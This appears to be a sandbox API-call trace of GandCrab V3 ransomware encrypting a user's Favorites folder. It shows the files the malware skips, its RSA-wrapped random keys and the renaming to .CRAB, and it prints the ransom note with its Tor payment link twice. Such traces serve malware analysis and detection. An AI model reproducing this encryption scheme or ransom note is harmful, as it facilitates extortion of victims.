	[0130.074] FindNextFileW (in: hFindFile=0xd80560, lpFindFileData=0x314e760 | out: lpFindFileData=0x314e760) returned 1
	[0130.074] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1
	[0130.074] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1
	[0130.074] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\", lpString2="Favorites" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites"
	[0130.074] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\"
	[0130.074] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.074] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0130.075] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0130.075] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0130.075] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0130.075] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.075] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314d4b8, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0130.075] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0130.075] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0130.075] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314cca0, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0130.075] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0130.075] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0130.075] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.075] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\\\CRAB-DECRYPT.txt") returned 49
	[0130.075] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\favorites\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d4
	[0130.080] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0130.080] WriteFile (in: hFile=0x3d4, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314d49c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314d49c*=0xcce, lpOverlapped=0x0) returned 1
	[0130.081] CloseHandle (hObject=0x3d4) returned 1
	[0130.081] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.081] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\") returned 32
	[0130.081] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*"
	[0130.081] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\*", lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 0x318e4f8
	[0130.081] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0130.081] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.081] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0130.081] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0130.082] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.082] lstrcmpW (lpString1="Bing.url", lpString2=".") returned 1
	[0130.082] lstrcmpW (lpString1="Bing.url", lpString2="..") returned 1
	[0130.082] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="Bing.url" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url"
	[0130.082] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.082] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url") returned 40
	[0130.082] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url") returned 40
	[0130.082] lstrlenW (lpString=".url") returned 4
	[0130.082] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.082] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".url ") returned 5
	[0130.082] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.083] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url") returned 40
	[0130.083] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url") returned 40
	[0130.083] lstrcmpiW (lpString1="Bing.url", lpString2="desktop.ini") returned -1
	[0130.083] lstrcmpiW (lpString1="Bing.url", lpString2="autorun.inf") returned 1
	[0130.083] lstrcmpiW (lpString1="Bing.url", lpString2="ntuser.dat") returned -1
	[0130.083] lstrcmpiW (lpString1="Bing.url", lpString2="iconcache.db") returned -1
	[0130.083] lstrcmpiW (lpString1="Bing.url", lpString2="bootsect.bak") returned -1
	[0130.083] lstrcmpiW (lpString1="Bing.url", lpString2="boot.ini") returned -1
	[0130.083] lstrcmpiW (lpString1="Bing.url", lpString2="ntuser.dat.log") returned -1
	[0130.083] lstrcmpiW (lpString1="Bing.url", lpString2="thumbs.db") returned -1
	[0130.083] lstrcmpiW (lpString1="Bing.url", lpString2="CRAB-DECRYPT.txt") returned -1
	[0130.083] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.083] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url.CRAB") returned 45
	[0130.083] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url" (normalized: "c:\\users\\ciihmnxmn6ps\\favorites\\bing.url")) returned 0x20
	[0130.083] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url", dwFileAttributes=0x20) returned 1
	[0130.084] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url" (normalized: "c:\\users\\ciihmnxmn6ps\\favorites\\bing.url"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\favorites\\bing.url.crab")) returned 1
	[0130.101] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0130.102] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url.CRAB"
	[0130.102] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url.CRAB.CRAB"
	[0130.102] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e408) returned 1
	[0130.104] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.105] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.105] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.105] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314d414 | out: pbBuffer=0x314d414) returned 1
	[0130.105] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0130.105] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.105] CryptAcquireContextW (in: phProv=0x314d2d8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2d8*=0xd6e9e0) returned 1
	[0130.107] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0130.108] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0130.108] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0130.108] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x20, pbBuffer=0x314d3f0 | out: pbBuffer=0x314d3f0) returned 1
	[0130.108] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0130.108] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.108] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0130.109] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0130.109] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6e738) returned 1
	[0130.164] CryptImportKey (in: hProv=0xd6e738, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0xded2e8) returned 1
	[0130.164] CryptGetKeyParam (in: hKey=0xded2e8, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0130.164] CryptEncrypt (in: hKey=0xded2e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314d424*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314d424*=0x100) returned 1
	[0130.165] GetLastError () returned 0x0
	[0130.165] CryptReleaseContext (hProv=0xd6e738, dwFlags=0x0) returned 1
	[0130.165] CryptAcquireContextW (in: phProv=0x314d2c8, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314d2c8*=0xd6eb78) returned 1
	[0130.167] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314d2c4 | out: phKey=0x314d2c4*=0x320fcd0) returned 1
	[0130.167] CryptGetKeyParam (in: hKey=0x320fcd0, dwParam=0x8, pbData=0x314d2b4, pdwDataLen=0x314d2bc, dwFlags=0x0 | out: pbData=0x314d2b4*=0x800, pdwDataLen=0x314d2bc*=0x4) returned 1
	[0130.167] CryptEncrypt (in: hKey=0x320fcd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314d428*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314d428*=0x100) returned 1
	[0130.168] GetLastError () returned 0x0
	[0130.168] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0130.168] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Bing.url.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\favorites\\bing.url.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0130.168] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0130.168] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0130.169] ReadFile (in: hFile=0x3e8, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314d46c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314d46c*=0xd0, lpOverlapped=0x0) returned 1
	[0130.175] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0130.175] VirtualAlloc (lpAddress=0x0, dwSize=0xd0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0130.175] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.175] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0xffffff30, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0130.175] WriteFile (in: hFile=0x3e8, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314d45c*=0xd0, lpOverlapped=0x0) returned 1
	[0130.176] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.176] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.179] WriteFile (in: hFile=0x3e8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0130.179] WriteFile (in: hFile=0x3e8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314d45c*=0x100, lpOverlapped=0x0) returned 1
	[0130.182] WriteFile (in: hFile=0x3e8, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314d45c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314d45c*=0x8, lpOverlapped=0x0) returned 1
	[0130.182] CloseHandle (hObject=0x3e8) returned 1
	[0130.182] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.183] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.183] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.183] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.183] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.184] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.184] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.184] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
	[0130.184] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2="..") returned 1
	[0130.184] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="CRAB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\CRAB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\CRAB-DECRYPT.txt"
	[0130.184] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.184] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\CRAB-DECRYPT.txt") returned 48
	[0130.184] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\CRAB-DECRYPT.txt") returned 48
	[0130.184] lstrlenW (lpString=".txt") returned 4
	[0130.184] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.184] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".txt ") returned 5
	[0130.184] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.185] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\CRAB-DECRYPT.txt") returned 48
	[0130.185] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\CRAB-DECRYPT.txt") returned 48
	[0130.185] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="desktop.ini") returned -1
	[0130.185] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="autorun.inf") returned 1
	[0130.185] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat") returned -1
	[0130.185] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="iconcache.db") returned -1
	[0130.185] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="bootsect.bak") returned 1
	[0130.185] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="boot.ini") returned 1
	[0130.185] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1
	[0130.185] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="thumbs.db") returned -1
	[0130.185] lstrcmpiW (lpString1="CRAB-DECRYPT.txt", lpString2="CRAB-DECRYPT.txt") returned 0
	[0130.185] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.185] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.185] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1
	[0130.185] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1
	[0130.185] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\desktop.ini") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\desktop.ini"
	[0130.185] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.185] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\desktop.ini") returned 43
	[0130.186] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\desktop.ini") returned 43
	[0130.186] lstrlenW (lpString=".ini") returned 4
	[0130.186] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0130.186] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".ini ") returned 5
	[0130.186] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.186] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\desktop.ini") returned 43
	[0130.186] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\desktop.ini") returned 43
	[0130.186] lstrcmpiW (lpString1="desktop.ini", lpString2="desktop.ini") returned 0
	[0130.186] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.186] FindNextFileW (in: hFindFile=0x318e4f8, lpFindFileData=0x314dcb8 | out: lpFindFileData=0x314dcb8) returned 1
	[0130.186] lstrcmpW (lpString1="Links", lpString2=".") returned 1
	[0130.186] lstrcmpW (lpString1="Links", lpString2="..") returned 1
	[0130.186] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\", lpString2="Links" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links"
	[0130.186] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\"
	[0130.186] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1
	[0130.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1
	[0130.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1
	[0130.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x140000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1
	[0130.187] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314ca10, csidl=0, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 1
	[0130.187] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\"
	[0130.187] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\", lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\") returned 1
	[0130.187] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x314c1f8, csidl=25, fCreate=0 | out: pszPath="C:\\Users\\Public\\Desktop") returned 1
	[0130.187] lstrcatW (in: lpString1="C:\\Users\\Public\\Desktop", lpString2="\\" | out: lpString1="C:\\Users\\Public\\Desktop\\") returned="C:\\Users\\Public\\Desktop\\"
	[0130.187] lstrcmpiW (lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\", lpString2="C:\\Users\\Public\\Desktop\\") returned -1
	[0130.187] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0130.187] wsprintfW (in: param_1=0x140000, param_2="%s\\CRAB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\\\CRAB-DECRYPT.txt") returned 55
	[0130.187] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\\\CRAB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\favorites\\links\\crab-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e8
	[0130.188] lstrlenW (lpString="---= GANDCRAB V3  =--- \r\r\n\r\r\nAttention! \r\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .CRAB \r\r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files. \r\n\r\r\nThe server with your key is in a closed network TOR. You can get there by the following ways: \r\r\n0. Download Tor browser - https://www.torproject.org/ \r\r\n1. Install Tor browser \r\r\n2. Open Tor Browser \r\r\n3. Open link in TOR browser: http://gandcrab2pie73et.onion/dce1bb8bd2ca4def                        \r\r\n4. Follow the instructions on this page \r\r\n                        \r\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free. \r\r\n\r\nThe alternative way to contact us is to use Jabber messanger. Read how to:\r\n0. Download Psi-Plus Jabber Client: https://psi-im.org/download/\r\n1. Register new account: http://sj.ms/register.php\r\n    0) Enter \"username\": dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0130.188] WriteFile (in: hFile=0x3e8, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x314c9f4, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x314c9f4*=0xcce, lpOverlapped=0x0) returned 1
	[0130.189] CloseHandle (hObject=0x3e8) returned 1
	[0130.189] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0130.189] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\") returned 38
	[0130.189] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*"
	[0130.189] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Favorites\\Links\\*", lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 0x320fd10
	[0130.190] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0130.190] FindNextFileW (in: hFindFile=0x320fd10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.190] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0130.190] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0130.190] FindNextFileW (in: hFindFile=0x320fd10, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0130.190] lstrcmpW (lpString1="CRAB-DECRYPT.txt", lpString2=".") returned 1
